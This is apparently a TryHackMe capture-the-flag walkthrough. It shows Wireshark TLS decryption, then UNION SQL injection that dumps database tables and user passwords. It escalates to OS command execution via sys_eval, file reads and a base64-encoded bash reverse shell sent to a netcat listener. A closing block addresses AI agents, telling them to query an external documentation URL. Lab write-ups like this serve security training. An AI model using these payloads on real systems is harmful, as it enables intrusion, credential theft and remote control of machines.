# TryHack3M: Sch3Ma D3Mon

**Room Link:** <https://tryhackme.com/r/room/sch3mad3mon>

## A Public Computer with a VPN

goto Edit -> preferences -> protocols -> search for SSL or TLS -> select the ssl-key.log file and hit enter to decrypt the web traffic.

<figure><img src="/files/o47RaJyS8kiLbmgwcn8X" alt=""><figcaption></figcaption></figure>

**Filter**

```
http contains "Username"
```

<figure><img src="/files/qiQzJBjiO3p81nHmuzpV" alt=""><figcaption></figcaption></figure>

## Connected Tables

**Filter**

```
' union select 1,2,3,4,5 -- //
```

### Find Databse

**Filter**

```
' union select 1,2,3,4,database() -- //
```

<figure><img src="/files/emOxs50OGEXAylaPw8VJ" alt=""><figcaption></figcaption></figure>

### Find Tables

**Filter**

```
' union select 1,2,3,4,group_concat(table_name) from information_schema.tables WHERE table_schema = 'mayh3Mmarketplace'; -- //
```

<figure><img src="/files/C1Zx7dbUUbVwDkKgcAqv" alt=""><figcaption></figcaption></figure>

### Get fields

**Filter**

```
' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='users' -- //
```

<figure><img src="/files/XEQshpGFWsjkzUg43ifp" alt=""><figcaption></figcaption></figure>

### Get field info

Confirmed we're the only other user.

**Filter**

```
' union select 1,group_concat(username),group_concat(password),3,4 FROM users -- -
```

<figure><img src="/files/ohyQTHdlCzegsLbCzUDx" alt=""><figcaption></figcaption></figure>

**Filter**

```
' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_name='unlisted_products' -- //
```

<figure><img src="/files/0hFPqI6CvB0by3yXEpx2" alt=""><figcaption></figcaption></figure>

**Filter**

```
' union select null,null,null,null, group_concat(product_name) from unlisted_products -- //
```

<figure><img src="/files/MJ19qTZtEuBqV5KygXdS" alt=""><figcaption></figcaption></figure>

## From DB to OS

**URL**

```
http://10.10.26.7:8000/os_sqli.php?user=lannister' union SELECT null, null, null, null, sys_eval('whoami') -- //
```

<figure><img src="/files/0ECqLfnQy2pPQZ078m5G" alt=""><figcaption></figcaption></figure>

**URL**

```
http://10.10.26.7:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,%20null,%20null,%20null,%20sys_eval(%27pwd%27)%20--%20//
```

<figure><img src="/files/7curWNmVvZQOUddDEMmk" alt=""><figcaption></figcaption></figure>

## Finding a Needle in a Malwarestack

We can see the files but if we cat them they get cut off.&#x20;

**URL**

```
http://10.10.61.64:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,%20null,%20null,%20null,%20sys_eval(%27ls%20%20/home/receipts%27)%20--%20//
```

<figure><img src="/files/su1D8MioXWobnGNHLFEM" alt=""><figcaption></figcaption></figure>

**URL**

```
' union select null,null,null,column_name,null from information_schema.columns where table_name='transactions' -- // 
```

<figure><img src="/files/iM8C0fAqDPuZn64O6b8G" alt=""><figcaption></figcaption></figure>

**URL**

```
' union select null,null,null,null,group_concat(transaction_number, '::', bcoin_sender_address, '::', bcoin_recipient_address,'\n') from transactions -- //
```

<figure><img src="/files/FmZgXf4K5DsoGPgpfn5B" alt=""><figcaption></figcaption></figure>

**URL**

```
' union select null,null,null,sys_exec('touch /var/lib/mysql/my_file.txt'),null -- //
' union select null,null,null,sys_eval('ls -al /home/receipts/ > /var/lib/mysql/my_file.txt'),null -- //
' union select null,null,null,load_file('/var/lib/mysql/my_file.txt'),null -- // verify that our command able to load the file

' union select null,null,null,load_file('/home/receipts/3000000.txt.gpg'),null -- //
```

<figure><img src="/files/EA4Fb06NNMDHnQSLhxAA" alt=""><figcaption></figcaption></figure>

If you use Burp the output will be nicer to copy over.

<figure><img src="/files/8aOpdTKUqFl9oFX4oizj" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5grGjRRPL7exi7oWufJl" alt=""><figcaption></figcaption></figure>

**Kali**

```
gpg --decrypt 3000000.txt.gpg
Passphrase: eqFN5vBg4n2t4xGsJF7BYNWMtTaVA1muES
```

<figure><img src="/files/geplM9IESu6Z8GFqs3Ef" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/OnJfq4Uv9YKIxUCYMBU6" alt=""><figcaption></figcaption></figure>

## Operation Defang

<figure><img src="/files/LM9WffzqmTBjYv5WQMgn" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 9001
```

**URL**

```
http://10.10.61.64:8000/os_sqli.php?user=lannister%27%20union%20SELECT%20null,%20null,%20null,%20null,%20sys_eval(%27echo%20L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2MS4xNDEvOTAwMSAwPiYx%20|%20base64%20-d%20%20|/bin/bash%27)%20--%20//
```

<figure><img src="/files/WBxcEA1Nhcx6exEMVMNY" alt=""><figcaption></figcaption></figure>

**Victim**&#x20;

```
script -qc /bin/bash /dev/null
ctrl + Z
stty raw -echo;fg
```

**Victim**&#x20;

```
cd /home/products/malware/4sale/pal4t1n3/MisterMeist3r/2DC6C0
ls 
```

<figure><img src="/files/HjqxZWagICMUbtAOXdD9" alt=""><figcaption></figcaption></figure>

After reading the code I saw that we can defang the code just by changing the config.ini file fto debug=true so we can run the code without having to worry about what will happen.

**Victim**&#x20;

```
echo "debug=true" > config.ini  
./build.sh 
```

<figure><img src="/files/sYju4CJbLdXRmUlqRkzM" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/tryhack3m-sch3ma-d3mon.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
